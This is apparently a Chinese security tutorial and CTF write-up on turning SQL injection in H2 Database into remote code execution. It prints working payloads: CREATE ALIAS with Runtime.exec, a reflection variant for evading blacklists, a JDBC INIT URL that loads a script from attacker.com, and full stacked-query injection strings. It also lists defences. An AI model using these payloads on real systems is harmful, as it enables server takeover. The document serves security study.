H2 Database从SQL到RCE
字数 989 2025-08-29 08:30:36
H2 Database 从SQL注入到远程代码执行(RCE)漏洞分析
1. H2 Database简介
H2 Database是一个内存和纯Java数据库,开发人员常用它来学习、单元测试和概念验证(PoC)。它提供了一个Web控制台用于管理数据库,默认情况下没有设置密码。
2. 漏洞背景
H2数据库存在多个安全风险点,可能导致从SQL注入到远程代码执行(RCE):
- 默认无密码的Web控制台
- 危险的SQL函数(FILE_READ/FILE_WRITE)
- 通过别名(alias)执行Java代码
- JDBC URL中的INIT参数可执行初始化命令
3. 漏洞利用方法
3.1 通过Web控制台利用
3.1.1 文件读写函数
H2提供了危险的内置函数:
FILE_READ()- 读取文件系统文件FILE_WRITE()- 写入文件到文件系统
3.1.2 通过别名执行Java代码
- 创建别名调用Java代码:
CREATE ALIAS SHELLEXEC AS
$$
void shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
}
$$
;
- 调用别名执行命令:
CALL SHELLEXEC('whoami');
3.2 通过SQL注入利用
3.2.1 自定义函数RCE
当存在SQL注入且支持堆叠查询(Stacked Queries)时:
- 定义Java函数:
CREATE ALIAS EXEC AS
$$
String exec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$
;
- 绕过黑名单过滤:
- 使用Java反射机制
- 可结合Base64编码绕过
示例绕过payload:
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException{',
'java.lang.reflect.Method m=Runtime.class.getMethod("getRuntime");',
'((java.lang.Runtime)m.invoke(null)).exec(cmd);',
'}');
3.2.2 利用INIT参数远程加载执行
H2 JDBC URL支持INIT参数执行初始化命令:
- 构造恶意JDBC URL:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'
- 远程SQL文件内容:
CREATE ALIAS SHELLEXEC AS
$$
void shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
}
$$
;
CALL SHELLEXEC('calc.exe');
3.3 其他利用技术
3.3.1 使用LINK_SCHEMA函数
CREATE LINKED TABLE remote_table('org.h2.Driver', 'jdbc:h2:tcp://attacker_ip/~/test', 'sa', '', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');
注意:高版本对URL进行了限制,只允许java开头的URL。
3.3.2 使用CSVWRITE函数执行SQL
CALL CSVWRITE('/path/to/output.csv', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');
4. 防御措施
- 为H2 Web控制台设置强密码
- 限制Web控制台的访问权限
- 禁用危险的SQL函数
- 对用户输入进行严格的过滤和参数化查询
- 使用最新版本的H2数据库
- 在生产环境中避免使用H2的Web控制台
5. 实际案例分析
在EasyDB题目中发现的漏洞利用:
- 发现SQL注入点:
String.format("SELECT * FROM users WHERE username='%s' AND password='%s'", user, pass);
- 利用堆叠查询执行恶意SQL:
admin'--; CREATE ALIAS EXEC AS
$$
String exec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$
; CALL EXEC('whoami');--
- 绕过黑名单过滤使用反射:
admin'--; CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException{',
'java.lang.reflect.Method m=Runtime.class.getMethod("getRuntime");',
'((java.lang.Runtime)m.invoke(null)).exec(cmd);',
'}'); CALL EXEC('/readflag');--
6. 总结
H2数据库由于其内存特性和丰富的功能,在开发测试中非常有用,但也带来了多种安全风险。攻击者可以通过SQL注入或直接访问Web控制台实现从简单的数据泄露到完全的远程代码执行。开发人员应充分了解这些风险并采取适当的防护措施。